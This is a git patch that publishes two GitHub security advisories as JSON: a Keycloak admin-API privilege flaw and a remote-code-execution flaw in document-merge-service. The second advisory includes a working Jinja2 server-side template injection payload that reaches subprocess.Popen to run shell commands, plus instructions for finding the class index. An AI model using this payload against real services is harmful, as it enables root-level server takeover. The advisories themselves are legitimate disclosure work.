From d0639c2cad1c0a4b5769aeeb7e9f5ba2a196cf57 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Tue, 11 Jun 2024 20:24:10 +0000 Subject: [PATCH] Publish Advisories GHSA-2cww-fgmg-4jqc GHSA-v5gf-r78h-55q6 --- .../GHSA-2cww-fgmg-4jqc.json | 62 +++++++++++++++++++ .../GHSA-v5gf-r78h-55q6.json | 57 +++++++++++++++++ 2 files changed, 119 insertions(+) create mode 100644 advisories/github-reviewed/2024/06/GHSA-2cww-fgmg-4jqc/GHSA-2cww-fgmg-4jqc.json create mode 100644 advisories/github-reviewed/2024/06/GHSA-v5gf-r78h-55q6/GHSA-v5gf-r78h-55q6.json diff --git a/advisories/github-reviewed/2024/06/GHSA-2cww-fgmg-4jqc/GHSA-2cww-fgmg-4jqc.json b/advisories/github-reviewed/2024/06/GHSA-2cww-fgmg-4jqc/GHSA-2cww-fgmg-4jqc.json new file mode 100644 index 00000000000..5ae50f450de --- /dev/null +++ b/advisories/github-reviewed/2024/06/GHSA-2cww-fgmg-4jqc/GHSA-2cww-fgmg-4jqc.json @@ -0,0 +1,62 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-2cww-fgmg-4jqc", + "modified": "2024-06-11T20:22:40Z", + "published": "2024-06-11T20:22:40Z", + "aliases": [ + "CVE-2024-3656" + ], + "summary": "Keycloak's admin API allows low privilege users to use administrative functions", + "details": "Users with low privileges (just plain users in the realm) are able to utilize administrative functionalities within Keycloak admin interface. This issue presents a significant security risk as it allows unauthorized users to perform actions reserved for administrators, potentially leading to data breaches or system compromise.\n\n**Acknowledgements:**\nSpecial thanks to Maurizio Agazzini for reporting this issue and helping us improve our project.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "org.keycloak:keycloak-services" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "24.0.5" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/keycloak/keycloak/security/advisories/GHSA-2cww-fgmg-4jqc" + }, + { + "type": "WEB", + "url": "https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1" + }, + { + "type": "PACKAGE", + "url": "https://github.com/keycloak/keycloak" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-269", + "CWE-284" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-06-11T20:22:40Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/06/GHSA-v5gf-r78h-55q6/GHSA-v5gf-r78h-55q6.json b/advisories/github-reviewed/2024/06/GHSA-v5gf-r78h-55q6/GHSA-v5gf-r78h-55q6.json new file mode 100644 index 00000000000..4ec5c5b7731 --- /dev/null +++ b/advisories/github-reviewed/2024/06/GHSA-v5gf-r78h-55q6/GHSA-v5gf-r78h-55q6.json @@ -0,0 +1,57 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-v5gf-r78h-55q6", + "modified": "2024-06-11T20:22:55Z", + "published": "2024-06-11T20:22:55Z", + "aliases": [ + "CVE-2024-37301" + ], + "summary": "document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection", + "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nRCE via SSTI, as root, full takeover.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIt has not been patched.\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"ls -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"whoami\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"uname -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n![image](https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1)\n\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "document-merge-service" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "6.5.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/adfinis/document-merge-service/security/advisories/GHSA-v5gf-r78h-55q6" + }, + { + "type": "PACKAGE", + "url": "https://github.com/adfinis/document-merge-service" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1336" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2024-06-11T20:22:55Z", + "nvd_published_at": null + } +} \ No newline at end of file